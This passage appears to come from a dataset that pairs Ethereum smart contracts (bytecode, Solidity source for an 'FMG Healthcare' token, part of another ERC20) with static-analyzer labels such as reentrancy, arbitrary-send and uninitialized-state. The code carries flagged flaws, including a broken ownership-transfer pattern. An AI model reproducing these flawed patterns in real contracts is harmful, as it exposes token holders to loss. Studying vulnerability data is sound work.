f161580613a135750600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80613a675750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613a755760009050613baa565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613af8576064600b60029054906101000a900460ff1660ff1684613ae79190614426565b613af191906144af565b9050613ba9565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b7b576064600b60039054906101000a900460ff1660ff1684613b6a9190614426565b613b7491906144af565b9050613ba8565b6064600b60049054906101000a900460ff1660ff1684613b9b9190614426565b613ba591906144af565b90505b5b5b809150509392505050565b600080fd5b600063ffffffff82169050919050565b613bd381613bba565b8114613bde57600080fd5b50565b600081359050613bf081613bca565b92915050565b60008060008060808587031215613c1057613c0f613bb5565b5b6000613c1e87828801613be1565b9450506020613c2f87828801613be1565b9350506040613c4087828801613be1565b9250506060613c5187828801613be1565b91505092959194509250565b600081519050919050565b600082825260208201905092915050565b60005b83811015613c97578082015181840152602081019050613c7c565b83811115613ca6576000848401525b50505050565b6000601f19601f8301169050919050565b6000613cc882613c5d565b613cd28185613c68565b9350613ce2818560208601613c79565b613ceb81613cac565b840191505092915050565b60006020820190508181036000830152613d108184613cbd565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613d4382613d18565b9050919050565b613d5381613d38565b8114613d5e57600080fd5b50565b600081359050613d7081613d4a565b92915050565b6000819050919050565b613d8981613d76565b8114613d9457600080fd5b50565b600081359050613da681613d80565b92915050565b60008060408385031215613dc357613dc2613bb5565b5b6000613dd185828601613d61565b9250506020613de285828601613d97565b9150509250929050565b60008115159050919050565b613e0181613dec565b82525050565b6000602082019050613e1c6000830184613df8565b92915050565b613e2b81613d76565b82525050565b6000602082019050613e466000830184613e22565b92915050565b600061ffff82169050919050565b613e6381613e4c565b8114613e6e57600080fd5b50565b600081359050613e8081613e5a565b92915050565b600080600060608486031215613e9f57613e9e613bb5565b5b6000613ead86828701613e71565b9350506020613ebe86828701613e71565b9250506040613ecf86828701613e71565b9150509250925092565b600080600060608486031215613ef257613ef1613bb5565b5b6000613f0086828701613d61565b9350506020613f1186828701613d61565b9250506040613f2286828701613d97565b9150509250925092565b600060ff82169050919050565b613f4281613f2c565b82525050565b6000602082019050613f5d6000830184613f39565b92915050565b613f6c81613dec565b8114613f7757600080fd5b50565b600081359050613f8981613f63565b92915050565b60008060408385031215613fa657613fa5613bb5565b5b6000613fb485828601613d61565b9250506020613fc585828601613f7a565b9150509250929050565b600060208284031215613fe557613fe4613bb5565b5b6000613ff384828501613d97565b91505092915050565b60006020828403121561401257614011613bb5565b5b600061402084828501613d61565b91505092915050565b600080604083850312156140405761403f613bb5565b5b600061404e85828601613d61565b925050602061405f85828601613d61565b9150509250929050565b61407281613d38565b82525050565b600060208201905061408d6000830184614069565b92915050565b600080604083850312156140aa576140a9613bb5565b5b60006140b885828601613e71565b92505060206140c985828601613e71565b9150509250929050565b6140dc81613f2c565b81146140e757600080fd5b50565b6000813590506140f9816140d3565b92915050565b60008060006060848603121561411857614117613bb5565b5b6000614126868287016140ea565b9350506020614137868287016140ea565b9250506040614148868287016140ea565b9150509250925092565b61415b81613e4c565b82525050565b60006020820190506141766000830184614152565b92915050565b600061418782613d18565b9050919050565b6141978161417c565b81146141a257600080fd5b50565b6000813590506141b48161418e565b92915050565b6000602082840312156141d0576141cf613bb5565b5b60006141de848285016141a5565b91505092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000614243602a83613c68565b915061424e826141e7565b604082019050919050565b6000602082019050818103600083015261427281614236565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156142ff578086048111156142db576142da614279565b5b60018516156142ea5780820291505b80810290506142f8856142a8565b94506142bf565b94509492505050565b60008261431857600190506143d4565b8161432657600090506143d4565b816001811461433c576002811461434657614375565b60019150506143d4565b60ff84111561435857614357614279565b5b8360020a91508482111561436f5761436e614279565b5b506143d4565b5060208310610133831016604e8410600b84101617156143aa5782820a9050838111156143a5576143a4614279565b5b6143d4565b6143b784848460016142b5565b925090508184048111156143ce576143cd614279565b5b81810290505b9392505050565b60006143e682613d76565b91506143f183613f2c565b925061441e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614308565b905092915050565b600061443182613d76565b915061443c83613d76565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561447557614474614279565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144ba82613d76565b91506144c583613d76565b9250826144d5576144d4614480565b5b828204905092915050565b7f616c72656164792068756d616e697a6564000000000000000000000000000000600082015250565b6000614516601183613c68565b9150614521826144e0565b602082019050919050565b6000602082019050818103600083015261454581614509565b9050919050565b600061455782613e4c565b915061456283613e4c565b92508261ffff0382111561457957614578614279565b5b828201905092915050565b7f53756d206d757374206265203130303000000000000000000000000000000000600082015250565b60006145ba601083613c68565b91506145c582614584565b602082019050919050565b600060208201905081810360008301526145e9816145ad565b9050919050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000614626601083613c68565b9150614631826145f0565b602082019050919050565b6000602082019050818103600083015261465581614619565b9050919050565b600061466782613d76565b915061467283613d76565b92508282101561468557614684614279565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b60006146c6601483613c68565b91506146d182614690565b602082019050919050565b600060208201905081810360008301526146f5816146b9565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b6000614732600f83613c68565b915061473d826146fc565b602082019050919050565b6000602082019050818103600083015261476181614725565b9050919050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b600061479e600e83613c68565b91506147a982614768565b602082019050919050565b600060208201905081810360008301526147cd81614791565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b600061480a600983613c68565b9150614815826147d4565b602082019050919050565b60006020820190508181036000830152614839816147fd565b9050919050565b60008151905061484f81613d4a565b92915050565b60006020828403121561486b5761486a613bb5565b5b600061487984828501614840565b91505092915050565b60006040820190506148976000830185614069565b6148a46020830184614069565b9392505050565b60006148b682613d76565b91506148c183613d76565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156148f6576148f5614279565b5b828201905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b6000614937601083613c68565b915061494282614901565b602082019050919050565b600060208201905081810360008301526149668161492a565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006149a3601483613c68565b91506149ae8261496d565b602082019050919050565b600060208201905081810360008301526149d281614996565b9050919050565b7f6e6f74206120736e697065720000000000000000000000000000000000000000600082015250565b6000614a0f600c83613c68565b9150614a1a826149d9565b602082019050919050565b60006020820190508181036000830152614a3e81614a02565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b6000614a7b600983613c68565b9150614a8682614a45565b602082019050919050565b60006020820190508181036000830152614aaa81614a6e565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000614ae7600c83613c68565b9150614af282614ab1565b602082019050919050565b60006020820190508181036000830152614b1681614ada565b9050919050565b6000614b2882613f2c565b9150614b3383613f2c565b92508160ff0483118215151615614b4d57614b4c614279565b5b828202905092915050565b6000819050919050565b6000614b7d614b78614b7384613d18565b614b58565b613d18565b9050919050565b6000614b8f82614b62565b9050919050565b6000614ba182614b84565b9050919050565b614bb181614b96565b82525050565b6000602082019050614bcc6000830184614ba8565b92915050565b6000614bdd82613e4c565b915061ffff821415614bf257614bf1614279565b5b600182019050919050565b6000614c0882613d18565b9150614c1383613d18565b925082614c2357614c22614480565b5b828206905092915050565b7f476173207072696365206f766572206c696d6974000000000000000000000000600082015250565b6000614c64601483613c68565b9150614c6f82614c2e565b602082019050919050565b60006020820190508181036000830152614c9381614c57565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000614cd0600b83613c68565b9150614cdb82614c9a565b602082019050919050565b60006020820190508181036000830152614cff81614cc3565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000614d3c601183613c68565b9150614d4782614d06565b602082019050919050565b60006020820190508181036000830152614d6b81614d2f565b9050919050565b6000819050919050565b6000614d97614d92614d8d84614d72565b614b58565b613d76565b9050919050565b614da781614d7c565b82525050565b600060c082019050614dc26000830189614069565b614dcf6020830188613e22565b614ddc6040830187614d9e565b614de96060830186614d9e565b614df66080830185614069565b614e0360a0830184613e22565b979650505050505050565b600081519050614e1d81613d80565b92915050565b600080600060608486031215614e3c57614e3b613bb5565b5b6000614e4a86828701614e0e565b9350506020614e5b86828701614e0e565b9250506040614e6c86828701614e0e565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614f0981613d38565b82525050565b6000614f1b8383614f00565b60208301905092915050565b6000602082019050919050565b6000614f3f82614ed4565b614f498185614edf565b9350614f5483614ef0565b8060005b83811015614f85578151614f6c8882614f0f565b9750614f7783614f27565b925050600181019050614f58565b5085935050505092915050565b600060a082019050614fa76000830188613e22565b614fb46020830187614d9e565b8181036040830152614fc68186614f34565b9050614fd56060830185614069565b614fe26080830184613e22565b969550505050505056fea2646970667358221220a807732826bb43f5d2395e45f9cf39221a7f8a0cbf4bc2146faf8aee11dcc7ce64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,755
0x3d12d60d6dc999adbe3c9eecfbd626004e7f2350
pragma solidity ^0.4.16; // FMG Healthcare Smart contract based on the full ERC20 Token standard // https://github.com/ethereum/EIPs/issues/20 // Verified Status: ERC20 Verified Token // FMG Healthcare Symbol: FMG contract FMGHEALTHCAREToken { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * FMG HEALTHCARE Math operations with safety checks to avoid unnecessary conflicts */ library ABCMaths { // Saftey Checks for Multiplication Tasks function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } // Saftey Checks for Divison Tasks function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } // Saftey Checks for Subtraction Tasks function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } // Saftey Checks for Addition Tasks function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract Ownable { address public owner; address public newOwner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } // validates an address - currently only checks that it isn&#39;t null modifier validAddress(address _address) { require(_address != 0x0); _; } function transferOwnership(address _newOwner) onlyOwner { if (_newOwner != address(0)) { owner = _newOwner; } } function acceptOwnership() { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract FMGStandardToken is FMGHEALTHCAREToken, Ownable { using ABCMaths for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (balances[msg.sender] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack //most of these things are not necesary balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (allowed[_from][msg.sender] >= _value) // Check allowance && (balances[_from] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack //most of these things are not necesary ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { /* To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; // Notify anyone listening that this approval done Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract FMGHEALTHCARE is FMGStandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 constant public decimals = 8; uint256 public totalSupply = 50 * (10**7) * 10**8 ; // 500 Million tokens, 8 decimal places, string constant public name = "FMG Healthcare"; string constant public symbol = "FMG"; function FMGHEALTHCARE(){ balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn&#39;t have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806370a08231146102bb57806379ba5097146103125780638da5cb5b1461032957806395d89b4114610380578063a9059cbb14610410578063b414d4b614610475578063cae9ca51146104d0578063d4ee1d901461057b578063dd62ed3e146105d2578063e724529c14610649578063f2fde38b14610698575b600080fd5b3480156100f757600080fd5b506101006106db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561089b565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a1565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610d70565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327610dbe565b005b34801561033557600080fd5b5061033e610f1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038c57600080fd5b50610395610f43565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d55780820151818401526020810190506103ba565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b3565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112d3565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b50610590611570565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611596565b6040518082815260200191505060405180910390f35b34801561065557600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061161d565b005b3480156106a457600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b6040805190810160405280600e81526020017f464d47204865616c74686361726500000000000000000000000000000000000081525081565b6000808214806107a057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107ab57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108fe5760009050610d69565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109c9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109d55750600082115b8015610a0e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610aaa5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aa783600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b8015610abb57506044600036905010155b1515610ac657600080fd5b610b1882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bad82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f464d47000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd957600090506112ad565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110285750600082115b80156110615750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110fd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b801561110e57506044600036905010155b151561111957600080fd5b61116b82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115145780820151818401526020810190506114f9565b50505050905090810190601f1680156115415780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561156557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118175780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156118325750828110155b151561183a57fe5b8091505092915050565b600082821115151561185257fe5b8183039050929150505600a165627a7a723058204865d13e0105d8dcb049bc3efc6a7c9e70efdfcb372f142ce90c6fff970d1f620029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
6,756
0x7c5a870e21102e2f44e01e67260eff42e4d4011f
/** *Submitted for verification at Etherscan.io on 2021-07-17 */ /** *Submitted for verification at Etherscan.io on 2020-09-01 */ //SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns 